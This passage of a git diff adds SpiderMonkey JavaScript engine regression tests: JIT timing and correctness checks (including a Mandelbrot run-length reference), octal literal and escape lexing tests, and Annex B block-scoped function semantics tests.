+ return new complex(this.r * this.r - this.i * this.i,
+ 2 * this.r * this.i);
+ }
+ this.dist = function() {
+ return Math.sqrt(this.r * this.r + this.i * this.i);
+ }
+ this.add = function(aComplex) {
+ return new complex(this.r + aComplex.r, this.i + aComplex.i);
+ }
+}
+
+function mandelbrotValueOO (aC, aIterMax) {
+ let Z = new complex(0.0, 0.0);
+ for (var iter = 0; iter < aIterMax; iter++) {
+ Z = Z.square().add(aC);
+ if (Z.r * Z.r + Z.i * Z.i > 256) { break; }
+ }
+ return iter;
+}
+
+function f(trace) {
+ var start = Date.now();
+ const width = 60;
+ const height = 60;
+ const max_iters = 50;
+ var output = [];
+ for (let img_x = 0; img_x < width; img_x++) {
+ for (let img_y = 0; img_y < height; img_y++) {
+ let C = new complex(-2 + (img_x / width) * 3,
+ -1.5 + (img_y / height) * 3);
+ var res = mandelbrotValueOO(C, max_iters);
+ if (output.length > 0 && output[output.length -1][0] == res) {
+ output[output.length-1][1]++;
+ } else {
+ output.push([res, 1]);
+ }
+ }
+ }
+ const reference = "[[2, 6], [3, 17], [4, 6], [5, 1], [50, 1], [5, 1], [4, 6], [3, 17], [2, 10], [3, 17], [4, 6], [5, 1], [6, 1], [50, 1], [6, 1], [5, 1], [4, 6], [3, 17], [2, 8], [3, 17], [4, 6], [5, 2], [6, 1], [50, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 6], [3, 17], [4, 6], [5, 2], [6, 1], [7, 1], [50, 1], [7, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 4], [3, 17], [4, 7], [5, 2], [6, 1], [8, 1], [50, 1], [8, 1], [6, 1], [5, 2], [4, 7], [3, 17], [2, 2], [3, 17], [4, 7], [5, 3], [6, 1], [9, 1], [50, 1], [9, 1], [6, 1], [5, 3], [4, 7], [3, 17], [2, 1], [3, 16], [4, 7], [5, 3], [6, 2], [8, 1], [50, 1], [8, 1], [6, 2], [5, 3], [4, 7], [3, 32], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 31], [4, 7], [5, 3], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 30], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 28], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [10, 1], [50, 1], [10, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 26], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [11, 1], [50, 1], [11, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 25], [4, 6], [5, 3], [6, 3], [7, 1], [8, 1], [18, 1], [13, 1], [15, 1], [50, 1], [15, 1], [13, 1], [18, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 6], [3, 24], [4, 7], [5, 2], [6, 2], [7, 3], [8, 1], [10, 1], [14, 1], [50, 3], [14, 1], [10, 1], [8, 1], [7, 3], [6, 2], [5, 2], [4, 7], [3, 23], [4, 6], [5, 3], [7, 1], [8, 1], [9, 1], [8, 2], [10, 1], [11, 1], [15, 1], [50, 3], [15, 1], [11, 1], [10, 1], [8, 2], [9, 1], [8, 1], [7, 1], [5, 3], [4, 6], [3, 22], [4, 7], [5, 2], [6, 1], [7, 1], [14, 1], [16, 1], [11, 1], [10, 1], [12, 1], [20, 1], [23, 1], [46, 1], [50, 1], [46, 1], [23, 1], [20, 1], [12, 1], [10, 1], [11, 1], [16, 1], [14, 1], [7, 1], [6, 1], [5, 2], [4, 7], [3, 20], [4, 7], [5, 3], [6, 1], [7, 1], [8, 1], [10, 1], [17, 1], [16, 1], [20, 1], [50, 7], [20, 1], [16, 1], [17, 1], [10, 1], [8, 1], [7, 1], [6, 1], [5, 3], [4, 7], [3, 19], [4, 7], [5, 3], [6, 2], [7, 1], [10, 1], [21, 1], [50, 11], [21, 1], [10, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 18], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [9, 1], [13, 1], [25, 1], [50, 9], [25, 1], [13, 1], [9, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 17], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [14, 2], [50, 11], [14, 2], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 16], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [11, 1], [36, 1], [50, 11], [36, 1], [11, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 15], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [14, 1], [50, 11], [14, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 14], [4, 7], [5, 4], [6, 3], [7, 1], [8, 1], [9, 1], [12, 1], [26, 1], [50, 9], [26, 1], [12, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 4], [4, 7], [3, 13], [4, 7], [5, 4], [6, 2], [7, 2], [8, 1], [9, 1], [10, 1], [15, 1], [50, 9], [15, 1], [10, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 4], [4, 7], [3, 12], [4, 7], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [10, 1], [12, 1], [16, 1], [50, 7], [16, 1], [12, 1], [10, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 7], [3, 11], [4, 6], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [11, 1], [12, 1], [14, 1], [17, 1], [23, 1], [34, 1], [50, 3], [34, 1], [23, 1], [17, 1], [14, 1], [12, 1], [11, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 6], [3, 10], [4, 7], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [22, 1], [12, 1], [50, 1], [25, 1], [50, 11], [25, 1], [50, 1], [12, 1], [22, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 7], [3, 9], [4, 6], [5, 4], [6, 1], [7, 1], [8, 2], [9, 1], [14, 1], [50, 1], [21, 1], [50, 15], [21, 1], [50, 1], [14, 1], [9, 1], [8, 2], [7, 1], [6, 1], [5, 4], [4, 6], [3, 8], [4, 7], [5, 3], [6, 2], [9, 1], [14, 1], [13, 1], [11, 1], [13, 1], [26, 1], [50, 17], [26, 1], [13, 1], [11, 1], [13, 1], [14, 1], [9, 1], [6, 2], [5, 3], [4, 7], [3, 7], [4, 6], [5, 4], [6, 1], [7, 1], [9, 1], [49, 1], [43, 1], [50, 23], [43, 1], [49, 1], [9, 1], [7, 1], [6, 1], [5, 4], [4, 6], [3, 7], [4, 5], [5, 4], [6, 2], [7, 1], [9, 1], [13, 1], [50, 25], [13, 1], [9, 1], [7, 1], [6, 2], [5, 4], [4, 5], [3, 6], [4, 6], [5, 3], [6, 2], [7, 2], [9, 1], [11, 1], [17, 1], [50, 23], [17, 1], [11, 1], [9, 1], [7, 2], [6, 2], [5, 3], [4, 6], [3, 5], [4, 5], [5, 3], [6, 3], [7, 1], [8, 1], [9, 1], [50, 1], [26, 1], [50, 23], [26, 1], [50, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 5], [4, 4], [5, 3], [6, 3], [7, 1], [8, 2], [10, 1], [21, 1], [50, 25], [21, 1], [10, 1], [8, 2], [7, 1], [6, 3], [5, 3], [4, 4], [3, 5], [4, 4], [5, 2], [6, 3], [7, 1], [12, 1], [9, 1], [10, 1], [11, 1], [50, 27], [11, 1], [10, 1], [9, 1], [12, 1], [7, 1], [6, 3], [5, 2], [4, 4], [3, 5], [4, 3], [5, 2], [6, 2], [7, 2], [9, 1], [42, 1], [15, 1], [23, 1], [14, 1], [50, 27], [14, 1], [23, 1], [15, 1], [42, 1], [9, 1], [7, 2], [6, 2], [5, 2], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [20, 1], [9, 1], [8, 1], [9, 1], [10, 1], [16, 1], [50, 33], [16, 1], [10, 1], [9, 1], [8, 1], [9, 1], [20, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [9, 1], [13, 1], [12, 1], [11, 1], [38, 1], [25, 1], [50, 33], [25, 1], [38, 1], [11, 1], [12, 1], [13, 1], [9, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 2], [6, 1], [7, 1], [10, 1], [24, 1], [25, 1], [50, 35], [25, 1], [24, 1], [10, 1], [7, 1], [6, 1], [5, 2], [4, 3], [3, 5], [4, 4], [5, 1], [6, 1], [7, 1], [11, 2], [13, 1], [19, 1], [50, 33], [19, 1], [13, 1], [11, 2], [7, 1], [6, 1], [5, 1], [4, 4], [3, 5], [4, 4], [5, 2], [6, 1], [50, 1], [8, 2], [17, 1], [19, 1], [35, 1], [14, 1], [24, 1], [50, 25], [24, 1], [14, 1], [35, 1], [19, 1], [17, 1], [8, 2], [50, 1], [6, 1], [5, 2], [4, 4], [3, 5], [4, 5], [5, 2], [6, 2], [7, 1], [8, 1], [9, 2], [11, 1], [38, 1], [50, 25], [38, 1], [11, 1], [9, 2], [8, 1], [7, 1], [6, 2], [5, 2], [4, 5], [3, 6], [4, 4], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [15, 1], [50, 25], [15, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 4], [3, 7], [4, 5], [5, 3], [6, 3], [7, 1], [9, 1], [42, 1], [21, 1], [50, 23], [21, 1], [42, 1], [9, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 8], [4, 5], [5, 3], [6, 2], [7, 1], [8, 1], [9, 1], [13, 1], [50, 23], [13, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 5], [3, 9], [4, 6], [5, 3], [6, 2], [7, 1], [9, 1], [14, 1], [50, 23], [14, 1], [9, 1], [7, 1], [6, 2], [5, 3], [4, 6], [3, 10], [4, 6], [5, 3], [6, 1], [7, 1], [9, 1], [16, 1], [50, 2], [35, 1], [50, 8], [13, 1], [50, 8], [35, 1], [50, 2], [16, 1], [9, 1], [7, 1], [6, 1], [5, 3], [4, 6], [3, 12], [4, 6], [5, 2], [6, 1], [19, 1], [16, 1], [17, 1], [25, 1], [21, 1], [13, 1], [18, 1], [50, 6], [11, 1], [9, 1], [11, 1], [50, 6], [18, 1], [13, 1], [21, 1], [25, 1], [17, 1], [16, 1], [19, 1], [6, 1], [5, 2], [4, 6], [3, 14], [4, 5], [5, 3], [6, 1], [8, 1], [16, 1], [10, 1], [8, 2], [11, 1], [50, 1], [16, 1], [15, 1], [32, 1], [29, 1], [9, 1], [8, 1], [7, 1], [8, 1], [9, 1], [29, 1], [32, 1], [15, 1], [16, 1], [50, 1], [11, 1], [8, 2], [10, 1], [16, 1], [8, 1], [6, 1], [5, 3], [4, 5], [3, 15], [4, 6], [5, 3], [6, 4], [7, 1], [20, 1], [19, 1], [9, 3], [7, 3], [6, 1], [7, 3], [9, 3], [19, 1], [20, 1], [7, 1], [6, 4], [5, 3], [4, 6], [3, 16], [4, 7], [5, 4], [6, 3], [7, 1], [6, 13], [7, 1], [6, 3], [5, 4], [4, 7], [3, 18], [4, 7], [5, 27], [4, 7], [3, 20], [4, 9], [5, 21], [4, 9], [3, 23], [4, 12], [5, 11], [4, 12], [3, 26], [4, 33], [3, 29], [4, 29], [3, 33], [4, 25], [3, 38], [4, 19], [3, 20], [2, 1], [3, 26], [4, 7], [3, 26], [2, 2], [3, 57], [2, 1]]";
+ reportCompare(reference, JSON.stringify(output).replace(/,/g, ", "), summary + ': correctness jit=' + trace);
+ return (Date.now() - start);
+}
+
+
+var timenonjit = f(false);
+var timejit = f(true);
+
+expect = true;
+actual = timejit < timenonjit;
+
+print('time nonjit: ' + timenonjit + ', time jit: ' + timejit);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/regress-458838.js b/js/src/tests/non262/jit/regress-458838.js
new file mode 100644
index 0000000000..90ea26197c
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-458838.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458838;
+var summary = 'TM: do not fall off trace when nested function accesses var of outer function';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ var a = 1;
+ function g() {
+ var b = 0
+ for (var i = 0; i < 10; ++i) {
+ b += a;
+ }
+ return b;
+ }
+
+ return g();
+ }
+
+ expect = 10;
+ actual = f();
+
+ reportCompare(expect, actual, summary + ': return value 10');
+}
diff --git a/js/src/tests/non262/jit/regress-469927.js b/js/src/tests/non262/jit/regress-469927.js
new file mode 100644
index 0000000000..b1a7230946
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-469927.js
@@ -0,0 +1,41 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469927;
+var summary = 'TM: jit should not slow down short loop with let';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function letitbe() {
+ var start = new Date();
+ for (let i = 0; i < 500000; ++i) {
+ for (let j = 0; j < 4; ++j) { }
+ }
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = letitbe();
+ var timejit = letitbe();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-470739.js b/js/src/tests/non262/jit/regress-470739.js
new file mode 100644
index 0000000000..10706ff00d
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-470739.js
@@ -0,0 +1,43 @@
+// |reftest| random -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470739;
+var summary = 'TM: never abort on ==';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function loop()
+ {
+ var i;
+ var start = new Date();
+
+ for(i=0;i<500000;++i) { var r = (void 0) == null; }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-489682.js b/js/src/tests/non262/jit/regress-489682.js
new file mode 100644
index 0000000000..73a341b13b
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-489682.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 489682;
+var summary = 'TM: wrong number with nested type-unstable loops';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var v = 0;
+
+for (var a of [0, {}, {}, {}]) {
+ print(v);
+ v = v >>> 0;
+ for (var b of [{}, {}, new String(''), 42, new String(''), {}, 42])
+ {
+ }
+ }
+print(v);
+
+
+expect = '0';
+actual = v + '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/shell.js b/js/src/tests/non262/jit/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/jit/shell.js
diff --git a/js/src/tests/non262/lexical-conventions/browser.js b/js/src/tests/non262/lexical-conventions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/browser.js
diff --git a/js/src/tests/non262/lexical-conventions/lexical-001.js b/js/src/tests/non262/lexical-conventions/lexical-001.js
new file mode 100644
index 0000000000..308b7a2a82
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/lexical-001.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Date: 26 November 2000
+ *
+ *SUMMARY: Testing numeric literals that begin with 0.
+ *This test arose from Bugzilla bug 49233.
+ *The best explanation is from jsscan.c:
+ *
+ * "We permit 08 and 09 as decimal numbers, which makes
+ * our behaviour a superset of the ECMA numeric grammar.
+ * We might not always be so permissive, so we warn about it."
+ *
+ *Thus an expression 010 will evaluate, as always, as an octal (to 8).
+ *However, 018 will evaluate as a decimal, to 18. Even though the
+ *user began the expression as an octal, he later used a non-octal
+ *digit. We forgive this and assume he intended a decimal. If the
+ *JavaScript "strict" option is set though, we will give a warning.
+ */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '49233';
+var summary = 'Testing numeric literals that begin with 0';
+var statprefix = 'Testing ';
+var quote = "'";
+var asString = new Array();
+var actual = new Array();
+var expect = new Array();
+
+
+ asString[0]='01'
+ actual[0]=01
+ expect[0]=1
+
+ asString[1]='07'
+ actual[1]=07
+ expect[1]=7
+
+ asString[2]='08'
+ actual[2]=08
+ expect[2]=8
+
+ asString[3]='09'
+ actual[3]=09
+ expect[3]=9
+
+ asString[4]='010'
+ actual[4]=010
+ expect[4]=8
+
+ asString[5]='017'
+ actual[5]=017
+ expect[5]=15
+
+ asString[6]='018'
+ actual[6]=018
+ expect[6]=18
+
+ asString[7]='019'
+ actual[7]=019
+ expect[7]=19
+
+ asString[8]='079'
+ actual[8]=079
+ expect[8]=79
+
+ asString[9]='0079'
+ actual[9]=0079
+ expect[9]=79
+
+ asString[10]='099'
+ actual[10]=099
+ expect[10]=99
+
+ asString[11]='0099'
+ actual[11]=0099
+ expect[11]=99
+
+ asString[12]='000000000077'
+ actual[12]=000000000077
+ expect[12]=63
+
+ asString[13]='000000000078'
+ actual[13]=000000000078
+ expect[13]=78
+
+ asString[14]='0000000000770000'
+ actual[14]=0000000000770000
+ expect[14]=258048
+
+ asString[15]='0000000000780000'
+ actual[15]=0000000000780000
+ expect[15]=780000
+
+ asString[16]='0765432198'
+ actual[16]=0765432198
+ expect[16]=765432198
+
+ asString[17]='00076543219800'
+ actual[17]=00076543219800
+ expect[17]=76543219800
+
+ asString[18]='0000001001007'
+ actual[18]=0000001001007
+ expect[18]=262663
+
+ asString[19]='0000001001009'
+ actual[19]=0000001001009
+ expect[19]=1001009
+
+ asString[20]='070'
+ actual[20]=070
+ expect[20]=56
+
+ asString[21]='080'
+ actual[21]=080
+ expect[21]=80
+
+
+
+//-------------------------------------------------------------------------------------------------
+ test();
+//-------------------------------------------------------------------------------------------------
+
+
+function showStatus(msg)
+{
+ return (statprefix + quote + msg + quote);
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (i=0; i !=asString.length; i++)
+ {
+ reportCompare (expect[i], actual[i], showStatus(asString[i]));
+ }
+}
diff --git a/js/src/tests/non262/lexical-conventions/regress-177314.js b/js/src/tests/non262/lexical-conventions/regress-177314.js
new file mode 100644
index 0000000000..ce677b77a4
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/regress-177314.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Oct 2002
+ * SUMMARY: '\400' should lex as a 2-digit octal escape + '0'
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=177314
+ *
+ * Bug was that Rhino interpreted '\400' as a 3-digit octal escape. As such
+ * it is invalid, since octal escapes may only run from '\0' to '\377'. But
+ * the lexer should interpret this as '\40' + '0' instead, and throw no error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 177314;
+var summary = "'\\" + "400' should lex as a 2-digit octal escape + '0'";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// the last valid octal escape is '\377', which should equal hex escape '\xFF'
+status = inSection(1);
+actual = '\377';
+expect = '\xFF';
+addThis();
+
+// now exercise the lexer by going one higher in the last digit
+status = inSection(2);
+actual = '\378';
+expect = '\37' + '8';
+addThis();
+
+// trickier: 400 is a valid octal number, but '\400' isn't a valid octal escape
+status = inSection(3);
+actual = '\400';
+expect = '\40' + '0';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/lexical-conventions/regress-469940.js b/js/src/tests/non262/lexical-conventions/regress-469940.js
new file mode 100644
index 0000000000..d8169671c6
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/regress-469940.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469940;
+var summary = 'Do not insert semi-colon after var with multiline initializer';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: unexpected token: identifier';
+
+ var s = 'var x = function f() { \n return 42; } print(x);';
+
+ try
+ {
+ eval(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/lexical-conventions/shell.js b/js/src/tests/non262/lexical-conventions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/shell.js
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js
new file mode 100644
index 0000000000..efc263b66f
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js
@@ -0,0 +1,10 @@
+// Test that Annex B function interaction with 'arguments'.
+
+(function() {
+ assertEq(typeof arguments, "object");
+ { function arguments() {} }
+ assertEq(typeof arguments, "function");
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js
new file mode 100644
index 0000000000..9f4e4d7fe8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js
@@ -0,0 +1,51 @@
+var log = "";
+
+function f() {
+ log += g();
+ function g() { return "outer-g"; }
+
+ var o = { g: function () { return "with-g"; } };
+ with (o) {
+ // Annex B.3.3.3 says g should be set on the nearest VariableEnvironment,
+ // and so should not change o.g.
+ eval(`{
+ function g() { return "eval-g"; }
+ }`);
+ }
+
+ log += g();
+ log += o.g();
+}
+
+f();
+
+function h() {
+ eval(`
+ // Should return true, as var bindings introduced by eval are configurable.
+ log += (delete q);
+ {
+ function q() { log += "q"; }
+ // Should return false, as lexical bindings introduced by eval are not
+ // configurable.
+ log += (delete q);
+ }
+ `);
+ return q;
+}
+
+h()();
+
+function f2() {
+ // Should not throw, just simply not synthesize an Annex B var in the eval
+ // because there's an outer const.
+ eval("{ function a() {} }");
+ const a = 1;
+}
+
+function f3() {
+ // As above, but for let.
+ eval("{ function a() {} }");
+ let a;
+}
+
+reportCompare(log, "outer-geval-gwith-gtruefalseq");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js
new file mode 100644
index 0000000000..dbef82bcfc
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js
@@ -0,0 +1,26 @@
+// Tests by André Bargull <andrebargull@googlemail.com>
+
+// Annex B.3.3.1
+function f1() {
+ { function* g() {} }
+ assertEq(typeof g, "undefined");
+}
+f1();
+
+// Annex B.3.3.2
+{ function* g() {} }
+assertEq(typeof g, "undefined");
+
+// Annex B.3.3.3
+function f2() {
+ eval("{ function* g() {} }");
+ assertEq(typeof g, "undefined");
+}
+f2();
+
+// Annex B.3.3.3
+eval("{ function* g() {} }");
+assertEq(typeof g, "undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js
new file mode 100644
index 0000000000..ce63aeeea2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js
@@ -0,0 +1,42 @@
+var log = "";
+
+function f(x) {
+ if (x)
+ function g() { return "g0"; }
+ else
+ function g() { return "g1"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g2"; }
+ else {
+ }
+
+ log += g();
+
+ if (x) {
+ } else
+ function g() { return "g3"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g4"; }
+
+ log += g();
+}
+
+f(true);
+f(false);
+
+try {
+ eval(`
+ if (1)
+ l: function foo() {}
+ `);
+} catch (e) {
+ log += "e";
+}
+
+reportCompare(log, "g0g2g2g4g1g1g3g3e");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js
new file mode 100644
index 0000000000..0fe9f45fca
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js
@@ -0,0 +1,43 @@
+function expectSyntaxError(str) {
+ var threwSyntaxError;
+ try {
+ eval(str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+function expectSloppyPass(str) {
+ eval(str);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+expectSloppyPass(`l: function f1() {}`);
+expectSloppyPass(`l0: l: function f1() {}`);
+expectSloppyPass(`{ f1(); l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l0: l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l: function f1() { return 42; } } assertEq(f1(), 42);`);
+expectSloppyPass(`eval("fe(); l: function fe() {}")`);
+expectSyntaxError(`if (1) l: function f2() {}`);
+expectSyntaxError(`if (1) {} else l: function f3() {}`);
+expectSyntaxError(`do l: function f4() {} while (0)`);
+expectSyntaxError(`while (0) l: function f5() {}`);
+expectSyntaxError(`for (;;) l: function f6() {}`);
+expectSloppyPass(`switch (1) { case 1: l: function f7() {} }`);
+expectSloppyPass(`switch (1) { case 1: assertEq(f8(), 'f8'); case 2: l: function f8() { return 'f8'; } } assertEq(f8(), 'f8');`);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js
new file mode 100644
index 0000000000..4c5e2527a8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js
@@ -0,0 +1,14 @@
+// Test that functions in block that do not exhibit Annex B do not override
+// previous functions that do exhibit Annex B.
+
+function f() {
+ var outerX;
+ { function x() {1} outerX = x; }
+ { { function x() {2}; } let x; }
+ { let x; { function x() {3}; } }
+ assertEq(x, outerX);
+}
+f();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
